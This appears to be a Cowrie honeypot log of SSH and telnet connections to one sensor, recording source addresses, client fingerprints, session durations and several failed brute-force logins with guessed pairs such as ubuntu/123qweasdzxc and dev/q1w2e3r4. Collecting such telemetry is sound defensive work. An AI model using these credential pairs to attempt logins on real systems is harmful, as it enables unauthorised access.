{"eventid":"cowrie.session.closed","duration":30.762723922729492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:22.328792Z","src_ip":"207.244.226.215","session":"362fc5a1f49d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":49418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f520819bd0f","protocol":"ssh","message":"New connection: 152.32.130.174:49418 (10.17.0.5:22) [session: 5f520819bd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:23.194038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:23.199633Z","src_ip":"152.32.130.174","session":"5f520819bd0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:23.424230Z","src_ip":"152.32.130.174","session":"5f520819bd0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweasdzxc","message":"login attempt [ubuntu/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:24.309405Z","src_ip":"152.32.130.174","session":"5f520819bd0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:25.527833Z","src_ip":"152.32.130.174","session":"5f520819bd0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.865901231765747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:26.027858Z","src_ip":"207.244.226.215","session":"ca6c300fc055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92f45c591ac","protocol":"telnet","message":"New connection: 207.244.226.215:44330 (159.203.135.109:23) [session: f92f45c591ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:26.452672Z"}
{"eventid":"cowrie.session.closed","duration":120.00431227684021,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:29.387498Z","src_ip":"223.177.32.194","session":"19b2fc450c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52058434486389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:30.153790Z","src_ip":"207.244.226.215","session":"778954d9b6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":56638,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a7fabbccdbc","protocol":"telnet","message":"New connection: 223.177.32.194:56638 (159.203.135.109:23) [session: 6a7fabbccdbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:30.325378Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49724,"dst_ip":"159.203.135.109","dst_port":23,"session":"126cca3ba60d","protocol":"telnet","message":"New connection: 207.244.226.215:49724 (159.203.135.109:23) [session: 126cca3ba60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:30.850388Z"}
{"eventid":"cowrie.session.closed","duration":30.491028785705566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:33.112561Z","src_ip":"207.244.226.215","session":"3bb05f404d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40264,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af357bc36b5","protocol":"telnet","message":"New connection: 207.244.226.215:40264 (159.203.135.109:23) [session: 2af357bc36b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:40.794012Z"}
{"eventid":"cowrie.session.closed","duration":30.516348838806152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:43.212183Z","src_ip":"207.244.226.215","session":"fd762fb28462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":45588,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7dad698e1a2","protocol":"ssh","message":"New connection: 92.205.57.72:45588 (10.17.0.5:22) [session: f7dad698e1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:43.218059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:43.222467Z","src_ip":"92.205.57.72","session":"f7dad698e1a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:43.314718Z","src_ip":"92.205.57.72","session":"f7dad698e1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9109b72f4687","protocol":"telnet","message":"New connection: 207.244.226.215:44864 (159.203.135.109:23) [session: 9109b72f4687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:43.707428Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"abc","message":"login attempt [hadoop/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:43.714153Z","src_ip":"92.205.57.72","session":"f7dad698e1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:44.809331Z","src_ip":"92.205.57.72","session":"f7dad698e1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51494,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b754fd67aa","protocol":"telnet","message":"New connection: 207.244.226.215:51494 (159.203.135.109:23) [session: b1b754fd67aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:48.736770Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":56016,"dst_ip":"159.203.135.109","dst_port":23,"session":"38145a21848b","protocol":"telnet","message":"New connection: 207.244.226.215:56016 (159.203.135.109:23) [session: 38145a21848b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:50.355720Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46194,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d50812054b","protocol":"telnet","message":"New connection: 174.138.46.234:46194 (159.203.135.109:23) [session: d2d50812054b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:51.275959Z"}
{"eventid":"cowrie.session.closed","duration":30.562349557876587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:57.014877Z","src_ip":"207.244.226.215","session":"f92f45c591ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291115045547485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:01.141385Z","src_ip":"207.244.226.215","session":"126cca3ba60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53638,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64360b0a1bf","protocol":"telnet","message":"New connection: 207.244.226.215:53638 (159.203.135.109:23) [session: c64360b0a1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:05.148765Z"}
{"eventid":"cowrie.session.closed","duration":30.28844141960144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:11.082343Z","src_ip":"207.244.226.215","session":"2af357bc36b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39314,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b7d2c9b79eb","protocol":"telnet","message":"New connection: 207.244.226.215:39314 (159.203.135.109:23) [session: 2b7d2c9b79eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:12.899941Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41384,"dst_ip":"159.203.135.109","dst_port":23,"session":"db41420f811e","protocol":"telnet","message":"New connection: 207.244.226.215:41384 (159.203.135.109:23) [session: db41420f811e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:14.056409Z"}
{"eventid":"cowrie.session.closed","duration":30.41441512107849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:14.121722Z","src_ip":"207.244.226.215","session":"9109b72f4687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":43372,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7c7561863d","protocol":"telnet","message":"New connection: 207.244.226.215:43372 (159.203.135.109:23) [session: 7d7c7561863d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:15.314651Z"}
{"eventid":"cowrie.session.closed","duration":30.400161743164062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:19.136850Z","src_ip":"207.244.226.215","session":"b1b754fd67aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660641193389893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:21.016295Z","src_ip":"207.244.226.215","session":"38145a21848b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52564,"dst_ip":"159.203.135.109","dst_port":23,"session":"943e46b435af","protocol":"telnet","message":"New connection: 207.244.226.215:52564 (159.203.135.109:23) [session: 943e46b435af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:21.808986Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d993478a90","protocol":"telnet","message":"New connection: 207.244.226.215:55276 (159.203.135.109:23) [session: e9d993478a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:22.366063Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54904,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad5d487e2a1","protocol":"telnet","message":"New connection: 207.244.226.215:54904 (159.203.135.109:23) [session: 2ad5d487e2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:23.106671Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57874,"dst_ip":"159.203.135.109","dst_port":23,"session":"a04cc1791a39","protocol":"telnet","message":"New connection: 207.244.226.215:57874 (159.203.135.109:23) [session: a04cc1791a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:23.901059Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":56886,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0dbf474724d","protocol":"telnet","message":"New connection: 207.244.226.215:56886 (159.203.135.109:23) [session: a0dbf474724d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:26.326566Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33842,"dst_ip":"159.203.135.109","dst_port":23,"session":"3769f11144b5","protocol":"telnet","message":"New connection: 207.244.226.215:33842 (159.203.135.109:23) [session: 3769f11144b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:26.380090Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":45116,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd7c8436029","protocol":"ssh","message":"New connection: 92.205.57.72:45116 (10.17.0.5:22) [session: 6bd7c8436029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:30.680370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:30.685759Z","src_ip":"92.205.57.72","session":"6bd7c8436029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:30.776075Z","src_ip":"92.205.57.72","session":"6bd7c8436029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"q1w2e3r4","message":"login attempt [dev/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:31.181531Z","src_ip":"92.205.57.72","session":"6bd7c8436029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53196,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7e4fb2e5125","protocol":"ssh","message":"New connection: 193.32.162.145:53196 (10.17.0.5:22) [session: e7e4fb2e5125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:32.233703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:32.237982Z","src_ip":"193.32.162.145","session":"e7e4fb2e5125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:32.275327Z","src_ip":"92.205.57.72","session":"6bd7c8436029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:32.345344Z","src_ip":"193.32.162.145","session":"e7e4fb2e5125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:32.676848Z","src_ip":"193.32.162.145","session":"e7e4fb2e5125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:33.792880Z","src_ip":"193.32.162.145","session":"e7e4fb2e5125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47524,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b921c50eed8","protocol":"telnet","message":"New connection: 207.244.226.215:47524 (159.203.135.109:23) [session: 2b921c50eed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:34.879156Z"}
{"eventid":"cowrie.session.closed","duration":30.928739547729492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:36.077366Z","src_ip":"207.244.226.215","session":"c64360b0a1bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25925374031067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:43.159053Z","src_ip":"207.244.226.215","session":"2b7d2c9b79eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05794668197632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:45.114232Z","src_ip":"207.244.226.215","session":"db41420f811e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93031597137451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:46.244854Z","src_ip":"207.244.226.215","session":"7d7c7561863d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39180,"dst_ip":"159.203.135.109","dst_port":23,"session":"9282bfd98d5e","protocol":"telnet","message":"New connection: 207.244.226.215:39180 (159.203.135.109:23) [session: 9282bfd98d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:46.486446Z"}
{"eventid":"cowrie.session.closed","duration":57.888569831848145,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:49.164409Z","src_ip":"174.138.46.234","session":"d2d50812054b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46810,"dst_ip":"159.203.135.109","dst_port":23,"session":"444ebfb5b3f2","protocol":"telnet","message":"New connection: 207.244.226.215:46810 (159.203.135.109:23) [session: 444ebfb5b3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:50.763881Z"}
{"eventid":"cowrie.session.closed","duration":31.16061568260193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:52.969465Z","src_ip":"207.244.226.215","session":"943e46b435af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922302722930908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:53.288282Z","src_ip":"207.244.226.215","session":"e9d993478a90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12621521949768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:54.027170Z","src_ip":"207.244.226.215","session":"a04cc1791a39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53858,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecd3edd8588c","protocol":"telnet","message":"New connection: 207.244.226.215:53858 (159.203.135.109:23) [session: ecd3edd8588c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:31:54.549767Z"}
